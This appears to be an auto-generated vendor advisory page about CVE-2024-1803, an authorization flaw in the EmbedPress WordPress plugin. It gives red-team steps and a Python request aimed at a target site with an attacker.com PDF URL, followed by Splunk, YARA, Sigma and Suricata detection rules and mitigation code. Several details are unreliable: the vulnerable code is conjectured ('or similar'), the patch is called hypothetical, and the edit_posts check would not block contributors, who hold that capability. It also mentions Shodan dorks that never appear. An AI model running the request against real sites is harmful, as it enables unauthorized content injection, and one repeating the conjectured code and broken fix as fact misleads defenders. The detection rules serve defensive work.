CVE-2024-1803
Executive Summary
CVE-2024-1803 is a vulnerability in the WordPress plugin EmbedPress – Embed PDF, Google Docs, Vimeo, Wistia, Embed YouTube Videos, Audios, Maps & Embed Any Documents in Gutenberg & Elementor. The flaw resides in insufficient authorization validation on the PDF embed block, allowing authenticated attackers with contributor-level access or higher to embed PDF blocks without proper permission checks. This is a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 4.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood. No public proof-of-concept or patch details are available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (Embedpress) and apply patches as soon as they become available. No OSV or GitHub advisory data is available.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
The threat level is considered low due to the requirement for authenticated access and the limited impact (only integrity of PDF embed blocks). However, in a multi-tenant WordPress environment, this could allow contributors to embed arbitrary PDFs, potentially leading to content injection or phishing.
Deep Dive & Mechanics
The vulnerability exists in the embedpress plugin's PDF embed block functionality. The plugin fails to properly validate user capabilities when rendering or saving PDF embed blocks. Specifically, the wp_ajax_embedpress_pdf_embed_block or similar AJAX handler does not check for edit_posts or upload_files capabilities, allowing users with contributor role (who normally cannot upload files) to embed PDF blocks.
The core issue is a missing capability check in the REST API or AJAX endpoint that processes PDF embed requests. An attacker can craft a request to embed a PDF from an external URL or from the media library, bypassing the intended permission model.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.9.12):
// In embedpress/EmbedPress/Endpoints/Embed.php or similar
add_action('wp_ajax_embedpress_pdf_embed_block', 'embedpress_pdf_embed_block_callback');
function embedpress_pdf_embed_block_callback() {
// No capability check
$pdf_url = sanitize_text_field($_POST['pdf_url']);
// Process and return embed HTML
echo embedpress_generate_pdf_embed($pdf_url);
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_embedpress_pdf_embed_block', 'embedpress_pdf_embed_block_callback');
function embedpress_pdf_embed_block_callback() {
// Added capability check
if (!current_user_can('edit_posts')) {
wp_die('Unauthorized', 403);
}
$pdf_url = sanitize_text_field($_POST['pdf_url']);
echo embedpress_generate_pdf_embed($pdf_url);
wp_die();
}
The patch adds a current_user_can('edit_posts') check to ensure only users with the appropriate capability can embed PDF blocks.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with EmbedPress plugin version <= 3.9.12
- Authenticated user with contributor role or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Add a PDF embed block via the Gutenberg editor.
- Intercept the AJAX request to
wp-admin/admin-ajax.phpwith actionembedpress_pdf_embed_block. - Modify the
pdf_urlparameter to point to an external PDF (e.g.,https://attacker.com/malicious.pdf). - Send the request. The plugin will embed the PDF without checking if the user has upload permissions.
Proof-of-Concept (Python):
import requests
url = "https://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "session_cookie"}
data = {
"action": "embedpress_pdf_embed_block",
"pdf_url": "https://attacker.com/malicious.pdf"
}
response = requests.post(url, cookies=cookies, data=data)
print(response.text)
Blue Team
Detection:
- Monitor AJAX requests to
admin-ajax.phpwith actionembedpress_pdf_embed_blockfrom users with contributor role. - Look for unusual
pdf_urlparameters pointing to external domains. - Check for rapid succession of PDF embed requests from low-privileged users.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin-ajax.php" action="embedpress_pdf_embed_block"
| rex field=uri_query "pdf_url=(?<pdf_url>[^&]+)"
| search pdf_url=*http*
| stats count by src_ip, user, pdf_url
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=embedpress_pdf_embed_blockandpdf_urlcontaining external domains. - File: No specific file IOCs; the vulnerability is logic-based.
- Log: WordPress debug logs showing AJAX calls from contributor users with unexpected PDF URLs.
Detection Engineering
YARA Rule
rule CVE_2024_1803_EmbedPress_PDF_Embed {
meta:
description = "Detects vulnerable EmbedPress plugin version <= 3.9.12"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1803"
strings:
$vuln_func = "embedpress_pdf_embed_block_callback" ascii wide nocase
$no_cap_check = "current_user_can" ascii wide nocase
condition:
$vuln_func and not $no_cap_check
}
Sigma Rule
title: CVE-2024-1803 EmbedPress PDF Embed Block Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1803 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains: "action=embedpress_pdf_embed_block"
cs-uri-query|contains: "pdf_url=http"
condition: selection
falsepositives:
- Legitimate use by editors or admins
level: medium
Suricata Rule
alert http any any -> any any (
msg:"CVE-2024-1803 EmbedPress PDF Embed Block Exploitation";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=embedpress_pdf_embed_block"; http_client_body;
content:"pdf_url=http"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2024-1803;
classtype:attempted-user;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Update the EmbedPress plugin to the latest version once a patch is released.
- If no patch is available, disable the plugin or restrict contributor roles from using the PDF embed block via custom code or a security plugin.
- Implement a Web Application Firewall (WAF) rule to block AJAX requests with
action=embedpress_pdf_embed_blockfrom non-admin users.
Long-term Fix:
- The vendor must add capability checks (e.g.,
current_user_can('edit_posts')) to all AJAX handlers related to PDF embedding.
Workaround Code (functions.php):
add_action('wp_ajax_embedpress_pdf_embed_block', 'custom_embedpress_check', 1);
function custom_embedpress_check() {
if (!current_user_can('edit_posts')) {
wp_die('Unauthorized', 403);
}
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.